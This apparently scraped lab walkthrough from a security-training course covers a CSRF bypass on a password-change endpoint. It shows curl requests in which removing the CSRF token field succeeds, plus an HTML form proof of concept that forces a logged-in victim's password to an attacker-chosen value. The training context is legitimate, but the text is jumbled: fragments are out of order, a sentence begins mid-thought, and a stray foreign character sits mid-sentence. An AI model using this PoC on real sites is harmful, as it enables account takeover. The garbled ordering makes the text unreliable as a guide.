POST /csrf/lab24/password.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded password=<new>&csrf_token=<base64 flow token from this page>
Grab it from the page (it's base64) and decode: {"user":"stuxnet.course.user","random":"…","sig":"…"} — a user, a signature, and randomness. Here the signature is a keyed hash over user and random — tamper-proof by design. But always ask how it was built: real apps have shipped tokens that decode to just a user id (flip the id = other users' tokens) or a bare timestamp. Understanding creation tells you if a rewrite is possible before you even test the ladder.
password — no token needed at all once the removal bug holds). Do not include leftover fields "for good practice" — every extra field is a claim your report must defend.# 1 — blank (rejected) curl -X POST https://stuxnet.pro/csrf/lab24/password.php \ --data-urlencode 'password=123456' --data-urlencode 'csrf_token=' → invalid CSRF token (400)
# 2 — removal (the planted bug) curl -X POST https://stuxnet.pro/csrf/lab24/password.php \ --data-urlencode 'password=123456' → 302 → password is now 123456
The legit token still works as it should (the honest form passes) — this is a bypass of enforcement, not of the token itself. On real targets the抠 equivalent is "token accepted without checking" — report at the criticality of the action (here: account takeover).
<form method="POST" action="https://stuxnet.pro/csrf/lab24/password.php"> <input type="hidden" name="password" value="123456"> <button type="submit">password POC</button> </form>
Body carries ONLY the state field — the token's absence is the bypass. Cross-account ritual as always: perform on account A, hazard the POC in a B-logged browser, report what one page-visit achieves ("attacker forces password to their own value → account takeover").
CSRF — password behind a token
Cross-Site Request Forgery